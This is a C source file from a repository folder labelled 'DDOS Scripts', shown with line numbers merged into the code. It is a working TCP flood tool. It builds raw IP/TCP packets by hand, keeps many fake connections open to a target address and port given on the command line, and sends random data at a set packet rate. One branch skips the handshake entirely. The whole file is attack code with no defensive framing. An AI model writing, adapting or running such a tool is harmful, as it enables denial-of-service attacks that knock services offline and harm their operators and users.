Path: blob/master/DDOS Scripts/L4/TCP/tcp (1-я копия).c
4565 views
//@shiftwise1#define _GNU_SOURCE2#include <stdio.h>3#include <stdlib.h>4#include <unistd.h>5#include <sys/ioctl.h>6#include <sys/socket.h>7#include <arpa/inet.h>8#include <fcntl.h>9#include <netpacket/packet.h>10#include <net/if.h>11#include <linux/if_ether.h>12#include <netinet/tcp.h>13#include <netinet/ip.h>14#include <string.h>15#include <time.h>16#include <pthread.h>17#include <assert.h>18#include <netdb.h>19//@shiftwise20#define NANOS 10000000002122uint64_t mytime()23{24struct timespec ts;25clock_gettime(CLOCK_MONOTONIC, &ts);26uint64_t time_in_micros = (1000000000L * ts.tv_sec + (ts.tv_nsec));27return time_in_micros;28}29//@shiftwise30struct connection31{32int fd;33in_addr_t saddr;34in_addr_t daddr;35uint16_t sport;36uint16_t dport;37uint32_t seq;38uint32_t ack;39uint32_t sseq;40uint8_t state;41uint32_t sent;42uint64_t time;43struct sockaddr_in addr;44uint32_t window;45uint8_t tries;46uint8_t resets;47uint32_t pending;48uint32_t tsval;49uint32_t tsecr;50uint64_t trip;51uint8_t re;52uint64_t resp;53uint16_t fake_win;54uint8_t scaling;55uint64_t rett;56};5758/*5996 bit (12 bytes) pseudo header needed for tcp header checksum calculation60*/61struct pseudo_header62{63u_int32_t source_address;64u_int32_t dest_address;65u_int8_t placeholder;66u_int8_t protocol;67u_int16_t tcp_length;68};6970/*71Generic checksum calculation function72*/73unsigned short csum(unsigned short *ptr, int nbytes)74{75register long sum;76unsigned short oddbyte;77register short answer;7879sum = 0;80while (nbytes > 1)81{82sum += *ptr++;83nbytes -= 2;84}85if (nbytes == 1)86{87oddbyte = 0;88*((u_char *)&oddbyte) = *(u_char *)ptr;89sum += oddbyte;90}9192sum = (sum >> 16) + (sum & 0xffff);93sum = sum + (sum >> 16);94answer = (short)~sum;9596return (answer);97}9899int tcp_packet(char *datagram, struct connection *conn, uint32_t src, uint32_t dst, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t flags, char *data, size_t data_len)100{101conn->trip = mytime() / 1000000;102103uint8_t optsize = (flags & TH_SYN) ? 20 : 12;104105uint16_t tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len + optsize;106107struct iphdr *iph = (struct iphdr *)datagram;108iph->version = 4;109iph->ihl = 5;110iph->frag_off = htons(IP_DF);111iph->ttl = 64;112iph->tos = 0;113iph->tot_len = tot_len;114iph->id = htons(10000 + rand() % 55535);115iph->check = 0;116iph->protocol = 6;117iph->saddr = src;118iph->daddr = dst;119120struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct iphdr));121tcph->source = sport;122tcph->dest = dport;123tcph->seq = htonl(seq);124tcph->ack_seq = htonl(ack);125tcph->doff = 5 + optsize / 4;126tcph->syn = (flags & TH_SYN) ? 1 : 0;127tcph->urg = 0;128tcph->ack = (flags & TH_ACK) ? 1 : 0;129tcph->psh = (flags & TH_PUSH) ? 1 : 0;130tcph->fin = (flags & TH_FIN) ? 1 : 0;131tcph->rst = 0;132tcph->window = htons(32168 + (rand() % 22447));133tcph->urg_ptr = 0;134tcph->check = 0;135memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + optsize, data, data_len);136137uint32_t tsval = htonl(conn->tsval);138uint32_t tsecr = htonl(conn->tsecr);139140if (flags & TH_SYN)141{142143uint16_t mss[] = {1441460145};146147uint8_t scaling[] = {1487,1498,1509};151152uint16_t sel_mss = htons(mss[rand() % 1]);153154char optss[20];155memcpy(optss, "\x02\x04\x05\x64\x01\x01\x08\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x03\x09", 20);156memcpy(optss + 2, &sel_mss, 2);157optss[19] = scaling[rand() % 3];158159memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr), optss, 20);160memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 8, &tsval, 4);161}162else163{164datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)] = 0x01;165datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 1] = 0x01;166datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 2] = 0x08;167datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 3] = 0x0a;168169memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 4, &tsval, 4);170memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 4 + 4, &tsecr, 4);171}172173//printf("TSval %lu TSecr %lu\n", conn->tsval, conn->tsecr);174175struct pseudo_header psh;176177psh.source_address = iph->saddr;178psh.dest_address = iph->daddr;179psh.placeholder = 0;180psh.protocol = IPPROTO_TCP;181psh.tcp_length = htons(sizeof(struct tcphdr) + data_len + optsize);182183int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + data_len + optsize;184char *pseudogram = malloc(psize);185memset(pseudogram, 0, psize);186187memcpy(pseudogram, (char *)&psh, sizeof(struct pseudo_header));188memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + data_len + optsize);189iph->check = 0;190//iph->check = csum((unsigned short *)datagram, tot_len);191tcph->check = csum((unsigned short *)pseudogram, psize);192free(pseudogram);193194return tot_len;195}196197int data_size = 1300;198int cons = 1;199int pps = 10;200201void tohex(unsigned char *in, size_t insz, char *out, size_t outsz)202{203unsigned char *pin = in;204const char *hex = "0123456789ABCDEF";205char *pout = out;206for (; pin < in + insz; pout += 2, pin++)207{208pout[0] = hex[(*pin >> 4) & 0xF];209pout[1] = hex[*pin & 0xF];210if (pout + 3 - out > outsz)211{212/* Better to truncate output string than overflow buffer */213/* it would be still better to either return a status */214/* or ensure the target buffer is large enough and it never happen */215break;216}217}218pout[-1] = 0;219}220221int amax = 0;222223#define BUFSIZE 4096224#define VLEN 5225226char *strtokm(char *input, char *delimiter, char **string)227{228if (input != NULL)229*string = input;230231if (*string == NULL)232return *string;233234char *end = strstr(*string, delimiter);235if (end == NULL)236{237char *temp = *string;238*string = NULL;239return temp;240}241242char *temp = *string;243244*end = '\0';245*string = end + strlen(delimiter);246return temp;247}248249int main(int argc, char *argv[])250{251252setbuf(stdout, NULL);253srand(time(NULL));254255if (argc < 6)256{257return 0;258}259260cons = atoi(argv[3]);261data_size = atoi(argv[4]);262pps = atoi(argv[5]);263264struct timespec t;265clock_gettime(CLOCK_MONOTONIC, &t);266267int raw_fd = socket(AF_INET, SOCK_RAW | SOCK_NONBLOCK, IPPROTO_TCP);268269if (raw_fd < 1)270{271perror("socket");272return 0;273}274275// IP_HDRINCL to tell the kernel that headers are included in the packet276int one = 1;277const int *val = &one;278279if (setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)280{281perror("Error setting IP_HDRINCL");282exit(0);283}284285uint64_t start_time = mytime();286//@shiftwise287uint32_t sends = 0;288uint32_t sentt = 0;289uint32_t recvs = 0;290uint64_t send_time = 0;291uint64_t adapt_time = 0;292double bandwidth = 0;293294char datagram[1500];295memset(datagram, 0, 1500);296char packet[1450];297memset(packet, 0, 1450);298299struct sockaddr_in source, dest;300301struct mmsghdr msgs[VLEN];302struct iovec iovecs[VLEN];303char bufs[VLEN][BUFSIZE + 1];304305struct connection conns[cons];306memset(conns, 0, sizeof(struct connection) * cons);307int curr = 0;308int active = 0;309310uint32_t dest_addr = inet_addr(argv[1]);311uint16_t dest_port = htons(atoi(argv[2]));312313int64_t r = NANOS / pps;314315uint64_t penalty = 0;316struct timespec tr;317318uint64_t delay = 0;319uint64_t newDelay = 0;320321uint64_t conni = 0;322323int fdr = open("/dev/urandom", O_RDONLY);324//@shiftwisе325while (1)326{327328uint64_t mytime1 = mytime();329330if (mytime1 - send_time >= 1000000000)331{332send_time = mytime1;333334printf("sends = %i pps = %i recvs = %i cons %i bandwidth=%.2fMbit/s\n", sends, pps, recvs, cons, (bandwidth / 1024.0 / 1024.0) * 8.0);335336sends = 0;337recvs = 0;338bandwidth = 0;339}340if (active > 0) {341if (mytime() - delay >= r) {342delay = mytime();343while (1) {344struct connection *conn = &conns[conni % cons];345346if (conn->state == 2) {347if (mytime() - conn->resp >= 1000000000 && data_size < 1333) {348//printf("Reset\n");349conn->state = 0;350curr--;351active--;352break;353}354355char b[1500];356read(fdr, b, 1500);357358memcpy(b, "\x19\x00\xd4\x02\x12\x33\x31\x2e\x32\x31\x34\x2e\x32\x34\x34\x2e\x31\x39\x00\x46\x4d\x4c\x00\x63\xdd\x01\x01\x00\x11\x22\x33", 31);359360int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK | TH_PUSH, b, data_size);361sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));362bandwidth += datagram_len;363sentt++;364sends++;365366conn->seq += data_size;367conni++;368break;369}370conni++;371}372}373}374//@shiftwisе375for (int i = 0; i < cons; i++) {376struct connection *conn = &conns[i];377378if (conn->state > 1 || (conn->state == 1 && mytime() - conn->time < 1000000000))379continue;380381if (mytime() - newDelay < 80000000)382continue;383384newDelay = mytime();385386int cfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);387struct sockaddr_in addr = {0}, laddr = {0};388addr.sin_family = AF_INET;389addr.sin_addr.s_addr = inet_addr("1.1.1.1");390addr.sin_port = htons(80);391connect(cfd, (struct sockaddr *)&addr, sizeof(addr));392int l = sizeof(laddr);393getsockname(cfd, (struct sockaddr *)&laddr, &l);394close(cfd);395396conn->saddr = laddr.sin_addr.s_addr;397conn->sport = rand() % 0xFFFF;398conn->daddr = dest_addr;399conn->dport = dest_port;400conn->state = 0;401memcpy(&conn->addr, &addr, sizeof(addr));402403conn->tsval = 124127841 + (rand() % 124127841);404conn->tsecr = 0;405conn->seq = 1247124 + rand() % 127849214;406conn->ack = 0;407408int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_SYN, "", 0);409410//printf("Syn %d\n", conn->sport);411412conn->state = 1;413conn->time = mytime();414bandwidth += datagram_len;415sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));416curr++;417418if (data_size == 1333) {419conn->seq = rand();420conn->ack = rand();421422423424conn->state = 2;425active++;426conn->window = 64400 * 1 << 7;427conn->scaling = 7;428int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);429sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));430bandwidth += datagram_len;431sentt++;432sends++;433}434}435436int off = 0;437438memset(msgs, 0, sizeof(msgs));439for (int i = 0; i < VLEN; i++)440{441iovecs[i].iov_base = bufs[i];442iovecs[i].iov_len = BUFSIZE;443msgs[i].msg_hdr.msg_iov = &iovecs[i];444msgs[i].msg_hdr.msg_iovlen = 1;445}446struct timespec timeout;447timeout.tv_sec = 0;448timeout.tv_nsec = 0;449int retval;450do {451retval = recvmmsg(raw_fd, msgs, VLEN, MSG_DONTWAIT, &timeout);452if (retval == -1)453{454break;455}456457for (int i = 0; i < retval; i++)458{459460int rcvd = msgs[i].msg_len;461char *buf = bufs[i];462463if (rcvd > 20)464{465struct iphdr *iph = (struct iphdr *)(buf + off);466if (iph->protocol == 6 && iph->saddr == dest_addr)467{468recvs++;469470struct tcphdr *tcph = (struct tcphdr *)(buf + off + sizeof(struct iphdr));471472473474for (int j = 0; j < cons; j++)475{476struct connection *conn = &conns[j];477478if (conn->state == 0)479continue;480481//printf("%d %d %d %d %d\n", htons(tcph->source), htons(dest_port), htons(tcph->dest), conn->sport, htons(conn->sport));482483if (tcph->source == dest_port && tcph->dest == conn->sport) {484485conn->resp = mytime();486487488489if (tcph->ack) {490491492uint8_t *p = (uint8_t *)tcph + 20; // or sizeof (struct tcphdr)493uint8_t *end = (uint8_t *)tcph + tcph->doff * 4;494while (p < end)495{496uint8_t kind = *p++;497if (kind == 0)498{499break;500}501if (kind == 1)502{503// No-op option with no length.504continue;505}506uint8_t size = *p++;507if (kind == 8)508{509conn->tsecr = htonl(*(uint32_t *)p);510conn->tsval = conn->tsecr + 1;511}512p += (size - 2);513}514515if (tcph->syn) {516517uint8_t *p = (uint8_t *)tcph + 20; // or sizeof (struct tcphdr)518uint8_t *end = (uint8_t *)tcph + tcph->doff * 4;519uint16_t scaling = 1;520while (p < end)521{522uint8_t kind = *p++;523if (kind == 0)524{525break;526}527if (kind == 1)528{529// No-op option with no length.530continue;531}532uint8_t size = *p++;533if (kind == 3)534{535scaling = *p;536}537p += (size - 2);538}539540conn->seq = htonl(tcph->ack_seq);541conn->ack = htonl(tcph->seq) + 1;542543544545conn->state = 2;546conn->rett = mytime();547active++;548conn->window = htons(tcph->window) * 1 << scaling;549conn->scaling = scaling;550int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);551sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));552bandwidth += datagram_len;553sentt++;554sends++;555}556557int tcpdatalen = ntohs(iph->tot_len) - (tcph->doff * 4) - (iph->ihl * 4);558559if (tcpdatalen > 0) {560if (mytime() - conn->rett > 500000000) {561conn->rett = mytime();562conn->ack += tcpdatalen;563int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);564sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));565bandwidth += datagram_len;566sentt++;567sends++;568}569}570}else {571if (tcph->rst) {572if (conn->resets++ >= 10000) {573conn->state = 0;574conn->resets = 0;575curr--;576active--;577}578}579}580break;581}582}583}584}585}586} while (retval == VLEN);587}588return 0;589}590//@shiftwise591592